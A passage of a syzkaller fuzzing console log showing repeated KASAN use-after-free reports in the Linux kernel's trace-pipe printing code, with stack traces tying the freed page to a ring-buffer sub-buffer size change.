ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ffff888119b6eb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
>ffff888119b6ec00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
^
ffff888119b6ec80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ffff888119b6ed00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
==================================================================
CandidateReproduced:true ConsoleOutput:Warning: Permanently added '[localhost]:38401' (ED25519) to the list of known hosts.
[ 116.463422][ C0] Scheduler tracepoints stat_sleep, stat_iowait, stat_blocked and stat_runtime require the kernel parameter schedstats=enable or kernel.sched_schedstats=1
[ 134.388700][ T1377] ieee802154 phy0 wpan0: encryption failed: -22
[ 134.398920][ T1377] ieee802154 phy1 wpan1: encryption failed: -22
[ 147.813303][ T5916] ==================================================================
[ 147.819238][ T5916] BUG: KASAN: use-after-free in print_trace_line+0x60d/0x6a0
[ 147.822897][ T5916] Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
[ 147.828626][ T5916]
[ 147.829476][ T5916] CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Not tainted syzkaller #1 PREEMPT(full)
[ 147.829493][ T5916] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 147.829501][ T5916] Call Trace:
[ 147.829511][ T5916] <TASK>
[ 147.829520][ T5916] dump_stack_lvl+0xe8/0x150
[ 147.829548][ T5916] print_address_description+0x55/0x1e0
[ 147.829569][ T5916] ? print_trace_line+0x60d/0x6a0
[ 147.829586][ T5916] print_report+0x58/0x70
[ 147.829604][ T5916] kasan_report+0x117/0x150
[ 147.829632][ T5916] ? print_trace_line+0x60d/0x6a0
[ 147.829736][ T5916] print_trace_line+0x60d/0x6a0
[ 147.829767][ T5916] tracing_read_pipe+0x568/0xb50
[ 147.829802][ T5916] ? __pfx_tracing_read_pipe+0x10/0x10
[ 147.829825][ T5916] vfs_read+0x213/0xa80
[ 147.829854][ T5916] ? __pfx___mutex_lock+0x10/0x10
[ 147.829874][ T5916] ? __pfx_vfs_read+0x10/0x10
[ 147.829895][ T5916] ? __fget_files+0x2a/0x420
[ 147.829924][ T5916] ? __fget_files+0x3a2/0x420
[ 147.829942][ T5916] ? __fget_files+0x2a/0x420
[ 147.829979][ T5916] ksys_read+0x150/0x270
[ 147.830001][ T5916] ? __pfx_ksys_read+0x10/0x10
[ 147.830020][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 147.830037][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 147.830053][ T5916] ? rcu_is_watching+0x15/0xb0
[ 147.830068][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 147.830084][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 147.830102][ T5916] do_syscall_64+0x174/0x580
[ 147.830118][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 147.830134][ T5916] ? clear_bhb_loop+0x40/0x90
[ 147.830156][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 147.830170][ T5916] RIP: 0033:0x7fadcfb36d9e
[ 147.830188][ T5916] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 147.830199][ T5916] RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 147.830214][ T5916] RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
[ 147.830224][ T5916] RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
[ 147.830232][ T5916] RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
[ 147.830241][ T5916] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 147.830249][ T5916] R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
[ 147.830290][ T5916] </TASK>
[ 147.830295][ T5916]
[ 147.957964][ T5916] The buggy address belongs to the physical page:
[ 147.960516][ T5916] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
[ 147.965616][ T5916] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 147.969840][ T5916] raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
[ 147.976445][ T5916] raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
[ 147.979825][ T5916] page dumped because: kasan: bad access detected
[ 147.982827][ T5916] page_owner tracks the page as freed
[ 147.985309][ T5916] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
[ 147.997336][ T5916] post_alloc_hook+0x1f9/0x250
[ 147.999591][ T5916] get_page_from_freelist+0x21fa/0x2270
[ 148.002244][ T5916] __alloc_frozen_pages_noprof+0x18d/0x380
[ 148.006386][ T5916] __alloc_pages_noprof+0x10/0x100
[ 148.009853][ T5916] __rb_allocate_pages+0x9f7/0x1330
[ 148.013278][ T5916] ring_buffer_resize+0x4e8/0x15e0
[ 148.016404][ T5916] __tracing_resize_ring_buffer+0x9c/0x310
[ 148.019873][ T5916] tracing_update_buffers+0x7b/0xb0
[ 148.022807][ T5916] system_enable_write+0x17e/0x350
[ 148.024796][ T5916] vfs_write+0x296/0xba0
[ 148.026930][ T5916] ksys_write+0x150/0x270
[ 148.029813][ T5916] do_syscall_64+0x174/0x580
[ 148.032141][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 148.035530][ T5916] page last free pid 5917 tgid 5912 stack trace:
[ 148.040837][ T5916] __free_frozen_pages+0xbdb/0xcb0
[ 148.043771][ T5916] ring_buffer_subbuf_order_set+0xeaa/0x14b0
[ 148.046573][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 148.049115][ T5916] vfs_write+0x296/0xba0
[ 148.050945][ T5916] ksys_write+0x150/0x270
[ 148.052552][ T5916] do_syscall_64+0x174/0x580
[ 148.055375][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 148.058925][ T5916]
[ 148.060368][ T5916] Memory state around the buggy address:
[ 148.063738][ T5916] ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 148.067689][ T5916] ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 148.071409][ T5916] >ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 148.076137][ T5916] ^
[ 148.079188][ T5916] ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 148.083855][ T5916] ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 148.087678][ T5916] ==================================================================
[ 148.102294][ T5916] Disabling lock debugging due to kernel taint
[ 148.110542][ T5916] ==================================================================
[ 148.115790][ T5916] BUG: KASAN: use-after-free in print_trace_fmt+0x6ea/0x800
[ 148.120182][ T5916] Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
[ 148.124918][ T5916]
[ 148.126554][ T5916] CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
[ 148.126584][ T5916] Tainted: [B]=BAD_PAGE
[ 148.126589][ T5916] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 148.126598][ T5916] Call Trace:
[ 148.126607][ T5916] <TASK>
[ 148.126615][ T5916] dump_stack_lvl+0xe8/0x150
[ 148.126673][ T5916] print_address_description+0x55/0x1e0
[ 148.126695][ T5916] ? print_trace_fmt+0x6ea/0x800
[ 148.126711][ T5916] print_report+0x58/0x70
[ 148.126730][ T5916] kasan_report+0x117/0x150
[ 148.126759][ T5916] ? print_trace_fmt+0x6ea/0x800
[ 148.126792][ T5916] print_trace_fmt+0x6ea/0x800
[ 148.126820][ T5916] ? print_trace_line+0x351/0x6a0
[ 148.126848][ T5916] tracing_read_pipe+0x568/0xb50
[ 148.126883][ T5916] ? __pfx_tracing_read_pipe+0x10/0x10
[ 148.126901][ T5916] vfs_read+0x213/0xa80
[ 148.126931][ T5916] ? __pfx___mutex_lock+0x10/0x10
[ 148.126951][ T5916] ? __pfx_vfs_read+0x10/0x10
[ 148.126973][ T5916] ? __fget_files+0x2a/0x420
[ 148.127003][ T5916] ? __fget_files+0x3a2/0x420
[ 148.127022][ T5916] ? __fget_files+0x2a/0x420
[ 148.127059][ T5916] ksys_read+0x150/0x270
[ 148.127081][ T5916] ? __pfx_ksys_read+0x10/0x10
[ 148.127101][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 148.127117][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 148.127133][ T5916] ? rcu_is_watching+0x15/0xb0
[ 148.127150][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 148.127166][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 148.127185][ T5916] do_syscall_64+0x174/0x580
[ 148.127200][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 148.127217][ T5916] ? clear_bhb_loop+0x40/0x90
[ 148.127240][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 148.127255][ T5916] RIP: 0033:0x7fadcfb36d9e
[ 148.127272][ T5916] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 148.127283][ T5916] RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 148.127298][ T5916] RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
[ 148.127308][ T5916] RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
[ 148.127317][ T5916] RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
[ 148.127326][ T5916] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 148.127335][ T5916] R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
[ 148.127377][ T5916] </TASK>
[ 148.127382][ T5916]
[ 148.262318][ T5916] The buggy address belongs to the physical page:
[ 148.266523][ T5916] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
[ 148.272791][ T5916] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 148.277084][ T5916] raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
[ 148.282055][ T5916] raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
[ 148.285698][ T5916] page dumped because: kasan: bad access detected
[ 148.289739][ T5916] page_owner tracks the page as freed
[ 148.293040][ T5916] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
[ 148.305450][ T5916] post_alloc_hook+0x1f9/0x250
[ 148.308500][ T5916] get_page_from_freelist+0x21fa/0x2270
[ 148.311339][ T5916] __alloc_frozen_pages_noprof+0x18d/0x380
[ 148.315180][ T5916] __alloc_pages_noprof+0x10/0x100
[ 148.318104][ T5916] __rb_allocate_pages+0x9f7/0x1330
[ 148.321304][ T5916] ring_buffer_resize+0x4e8/0x15e0
[ 148.323289][ T5916] __tracing_resize_ring_buffer+0x9c/0x310
[ 148.326989][ T5916] tracing_update_buffers+0x7b/0xb0
[ 148.330267][ T5916] system_enable_write+0x17e/0x350
[ 148.333419][ T5916] vfs_write+0x296/0xba0
[ 148.336111][ T5916] ksys_write+0x150/0x270
[ 148.337763][ T5916] do_syscall_64+0x174/0x580
[ 148.340208][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 148.343827][ T5916] page last free pid 5917 tgid 5912 stack trace:
[ 148.347812][ T5916] __free_frozen_pages+0xbdb/0xcb0
[ 148.350948][ T5916] ring_buffer_subbuf_order_set+0xeaa/0x14b0
[ 148.353194][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 148.356891][ T5916] vfs_write+0x296/0xba0
[ 148.359667][ T5916] ksys_write+0x150/0x270
[ 148.362382][ T5916] do_syscall_64+0x174/0x580
[ 148.365308][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 148.369136][ T5916]
[ 148.370719][ T5916] Memory state around the buggy address:
[ 148.374468][ T5916] ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 148.379465][ T5916] ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 148.384440][ T5916] >ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 148.389463][ T5916] ^
[ 148.392640][ T5916] ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 148.397319][ T5916] ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 148.402689][ T5916] ==================================================================
[ 148.414179][ T5916] ==================================================================
[ 148.419444][ T5916] BUG: KASAN: use-after-free in trace_print_context+0x432/0x4c0
[ 148.424292][ T5916] Read of size 4 at addr ffff888119b6ec28 by task syz-executor390/5916
[ 148.429657][ T5916]
[ 148.431208][ T5916] CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
[ 148.431237][ T5916] Tainted: [B]=BAD_PAGE
[ 148.431242][ T5916] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 148.431249][ T5916] Call Trace:
[ 148.431259][ T5916] <TASK>
[ 148.431267][ T5916] dump_stack_lvl+0xe8/0x150
[ 148.431294][ T5916] print_address_description+0x55/0x1e0
[ 148.431314][ T5916] ? trace_print_context+0x432/0x4c0
[ 148.431332][ T5916] print_report+0x58/0x70
[ 148.431348][ T5916] kasan_report+0x117/0x150
[ 148.431374][ T5916] ? trace_print_context+0x432/0x4c0
[ 148.431406][ T5916] trace_print_context+0x432/0x4c0
[ 148.431422][ T5916] ? end_report+0xa2/0x170
[ 148.431449][ T5916] ? __pfx_trace_print_context+0x10/0x10
[ 148.431483][ T5916] print_trace_fmt+0x3bf/0x800
[ 148.431507][ T5916] ? print_trace_line+0x351/0x6a0
[ 148.431531][ T5916] tracing_read_pipe+0x568/0xb50
[ 148.431560][ T5916] ? __pfx_tracing_read_pipe+0x10/0x10
[ 148.431574][ T5916] vfs_read+0x213/0xa80
[ 148.431632][ T5916] ? __pfx___mutex_lock+0x10/0x10
[ 148.431651][ T5916] ? __pfx_vfs_read+0x10/0x10
[ 148.431670][ T5916] ? __fget_files+0x2a/0x420
[ 148.431694][ T5916] ? __fget_files+0x3a2/0x420
[ 148.431711][ T5916] ? __fget_files+0x2a/0x420
[ 148.431742][ T5916] ksys_read+0x150/0x270
[ 148.431762][ T5916] ? __pfx_ksys_read+0x10/0x10
[ 148.431778][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 148.431794][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 148.431808][ T5916] ? rcu_is_watching+0x15/0xb0
[ 148.431823][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 148.431836][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 148.431853][ T5916] do_syscall_64+0x174/0x580
[ 148.431869][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 148.431884][ T5916] ? clear_bhb_loop+0x40/0x90
[ 148.431903][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 148.431917][ T5916] RIP: 0033:0x7fadcfb36d9e
[ 148.431933][ T5916] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 148.431944][ T5916] RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 148.431959][ T5916] RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
[ 148.431968][ T5916] RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
[ 148.431976][ T5916] RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
[ 148.431983][ T5916] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 148.431990][ T5916] R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
[ 148.432025][ T5916] </TASK>
[ 148.432031][ T5916]
[ 148.586732][ T5916] The buggy address belongs to the physical page:
[ 148.590258][ T5916] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
[ 148.596429][ T5916] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 148.599144][ T5916] raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
[ 148.604287][ T5916] raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
[ 148.609723][ T5916] page dumped because: kasan: bad access detected
[ 148.613766][ T5916] page_owner tracks the page as freed
[ 148.617315][ T5916] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
[ 148.629455][ T5916] post_alloc_hook+0x1f9/0x250
[ 148.631856][ T5916] get_page_from_freelist+0x21fa/0x2270
[ 148.634265][ T5916] __alloc_frozen_pages_noprof+0x18d/0x380
[ 148.639027][ T5916] __alloc_pages_noprof+0x10/0x100
[ 148.641343][ T5916] __rb_allocate_pages+0x9f7/0x1330
[ 148.644210][ T5916] ring_buffer_resize+0x4e8/0x15e0
[ 148.647085][ T5916] __tracing_resize_ring_buffer+0x9c/0x310
[ 148.649802][ T5916] tracing_update_buffers+0x7b/0xb0
[ 148.653475][ T5916] system_enable_write+0x17e/0x350
[ 148.656972][ T5916] vfs_write+0x296/0xba0
[ 148.659445][ T5916] ksys_write+0x150/0x270
[ 148.661488][ T5916] do_syscall_64+0x174/0x580
[ 148.664204][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 148.667057][ T5916] page last free pid 5917 tgid 5912 stack trace:
[ 148.669450][ T5916] __free_frozen_pages+0xbdb/0xcb0
[ 148.672747][ T5916] ring_buffer_subbuf_order_set+0xeaa/0x14b0
[ 148.677638][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 148.680737][ T5916] vfs_write+0x296/0xba0
[ 148.683137][ T5916] ksys_write+0x150/0x270
[ 148.684703][ T5916] do_syscall_64+0x174/0x580
[ 148.687407][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 148.690625][ T5916]
[ 148.691886][ T5916] Memory state around the buggy address:
[ 148.694842][ T5916] ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 148.698984][ T5916] ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 148.702431][ T5916] >ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 148.706115][ T5916] ^
[ 148.709718][ T5916] ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 148.712767][ T5916] ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 148.715865][ T5916] ==================================================================
[ 148.723952][ T5916] ==================================================================
[ 148.727398][ T5916] BUG: KASAN: use-after-free in trace_print_context+0x455/0x4c0
[ 148.730303][ T5916] Read of size 4 at addr ffff888119b6ec28 by task syz-executor390/5916
[ 148.733184][ T5916]
[ 148.734513][ T5916] CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
[ 148.734534][ T5916] Tainted: [B]=BAD_PAGE
[ 148.734539][ T5916] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 148.734547][ T5916] Call Trace:
[ 148.734578][ T5916] <TASK>
[ 148.734586][ T5916] dump_stack_lvl+0xe8/0x150
[ 148.734614][ T5916] print_address_description+0x55/0x1e0
[ 148.734636][ T5916] ? trace_print_context+0x455/0x4c0
[ 148.734656][ T5916] print_report+0x58/0x70
[ 148.734673][ T5916] kasan_report+0x117/0x150
[ 148.734692][ T5916] ? trace_find_cmdline+0x125/0x1a0
[ 148.734717][ T5916] ? trace_print_context+0x455/0x4c0
[ 148.734753][ T5916] trace_print_context+0x455/0x4c0
[ 148.734771][ T5916] ? end_report+0xa2/0x170
[ 148.734801][ T5916] ? __pfx_trace_print_context+0x10/0x10
[ 148.734839][ T5916] print_trace_fmt+0x3bf/0x800
[ 148.734867][ T5916] ? print_trace_line+0x351/0x6a0
[ 148.734895][ T5916] tracing_read_pipe+0x568/0xb50
[ 148.734930][ T5916] ? __pfx_tracing_read_pipe+0x10/0x10
[ 148.734947][ T5916] vfs_read+0x213/0xa80
[ 148.734975][ T5916] ? __pfx___mutex_lock+0x10/0x10
[ 148.734995][ T5916] ? __pfx_vfs_read+0x10/0x10
[ 148.735017][ T5916] ? __fget_files+0x2a/0x420
[ 148.735046][ T5916] ? __fget_files+0x3a2/0x420
[ 148.735065][ T5916] ? __fget_files+0x2a/0x420
[ 148.735101][ T5916] ksys_read+0x150/0x270
[ 148.735123][ T5916] ? __pfx_ksys_read+0x10/0x10
[ 148.735143][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 148.735165][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 148.735181][ T5916] ? rcu_is_watching+0x15/0xb0
[ 148.735198][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 148.735214][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 148.735232][ T5916] do_syscall_64+0x174/0x580
[ 148.735248][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 148.735264][ T5916] ? clear_bhb_loop+0x40/0x90
[ 148.735287][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 148.735302][ T5916] RIP: 0033:0x7fadcfb36d9e
[ 148.735319][ T5916] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 148.735331][ T5916] RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 148.735346][ T5916] RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
[ 148.735356][ T5916] RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
[ 148.735365][ T5916] RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
[ 148.735373][ T5916] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 148.735382][ T5916] R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
[ 148.735423][ T5916] </TASK>
[ 148.735429][ T5916]
[ 148.881614][ T5916] The buggy address belongs to the physical page:
[ 148.885671][ T5916] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
[ 148.892146][ T5916] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 148.895274][ T5916] raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
[ 148.900832][ T5916] raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
[ 148.906245][ T5916] page dumped because: kasan: bad access detected
[ 148.909460][ T5916] page_owner tracks the page as freed
[ 148.912881][ T5916] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
[ 148.922804][ T5916] post_alloc_hook+0x1f9/0x250
[ 148.926845][ T5916] get_page_from_freelist+0x21fa/0x2270
[ 148.930870][ T5916] __alloc_frozen_pages_noprof+0x18d/0x380
[ 148.934956][ T5916] __alloc_pages_noprof+0x10/0x100
[ 148.937941][ T5916] __rb_allocate_pages+0x9f7/0x1330
[ 148.941292][ T5916] ring_buffer_resize+0x4e8/0x15e0
[ 148.943277][ T5916] __tracing_resize_ring_buffer+0x9c/0x310
[ 148.946635][ T5916] tracing_update_buffers+0x7b/0xb0
[ 148.949989][ T5916] system_enable_write+0x17e/0x350
[ 148.953211][ T5916] vfs_write+0x296/0xba0
[ 148.954847][ T5916] ksys_write+0x150/0x270
[ 148.957155][ T5916] do_syscall_64+0x174/0x580
[ 148.960395][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 148.964323][ T5916] page last free pid 5917 tgid 5912 stack trace:
[ 148.968664][ T5916] __free_frozen_pages+0xbdb/0xcb0
[ 148.972074][ T5916] ring_buffer_subbuf_order_set+0xeaa/0x14b0
[ 148.976054][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 148.979644][ T5916] vfs_write+0x296/0xba0
[ 148.982364][ T5916] ksys_write+0x150/0x270
[ 148.985127][ T5916] do_syscall_64+0x174/0x580
[ 148.988142][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 148.991729][ T5916]
[ 148.993297][ T5916] Memory state around the buggy address:
[ 148.995395][ T5916] ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 149.000433][ T5916] ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 149.006028][ T5916] >ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 149.011028][ T5916] ^
[ 149.014382][ T5916] ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 149.018619][ T5916] ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 149.023715][ T5916] ==================================================================
[ 149.031578][ T5916] ==================================================================
[ 149.036181][ T5916] BUG: KASAN: use-after-free in trace_print_lat_fmt+0x36c/0x3d0
[ 149.041138][ T5916] Read of size 1 at addr ffff888119b6ec26 by task syz-executor390/5916
[ 149.046187][ T5916]
[ 149.047156][ T5916] CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
[ 149.047177][ T5916] Tainted: [B]=BAD_PAGE
[ 149.047182][ T5916] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 149.047190][ T5916] Call Trace:
[ 149.047198][ T5916] <TASK>
[ 149.047206][ T5916] dump_stack_lvl+0xe8/0x150
[ 149.047233][ T5916] print_address_description+0x55/0x1e0
[ 149.047253][ T5916] ? trace_print_lat_fmt+0x36c/0x3d0
[ 149.047270][ T5916] print_report+0x58/0x70
[ 149.047286][ T5916] kasan_report+0x117/0x150
[ 149.047311][ T5916] ? trace_print_lat_fmt+0x36c/0x3d0
[ 149.047340][ T5916] trace_print_lat_fmt+0x36c/0x3d0
[ 149.047365][ T5916] trace_print_context+0x283/0x4c0
[ 149.047380][ T5916] ? end_report+0xa2/0x170
[ 149.047406][ T5916] ? __pfx_trace_print_context+0x10/0x10
[ 149.047440][ T5916] print_trace_fmt+0x3bf/0x800
[ 149.047466][ T5916] ? print_trace_line+0x351/0x6a0
[ 149.047492][ T5916] tracing_read_pipe+0x568/0xb50
[ 149.047519][ T5916] ? __pfx_tracing_read_pipe+0x10/0x10
[ 149.047670][ T5916] vfs_read+0x213/0xa80
[ 149.047693][ T5916] ? __pfx___mutex_lock+0x10/0x10
[ 149.047711][ T5916] ? __pfx_vfs_read+0x10/0x10
[ 149.047729][ T5916] ? __fget_files+0x2a/0x420
[ 149.047755][ T5916] ? __fget_files+0x3a2/0x420
[ 149.047773][ T5916] ? __fget_files+0x2a/0x420
[ 149.047805][ T5916] ksys_read+0x150/0x270
[ 149.047826][ T5916] ? __pfx_ksys_read+0x10/0x10
[ 149.047843][ T5916] ? trace_syscall_enter+0x5b/0x100
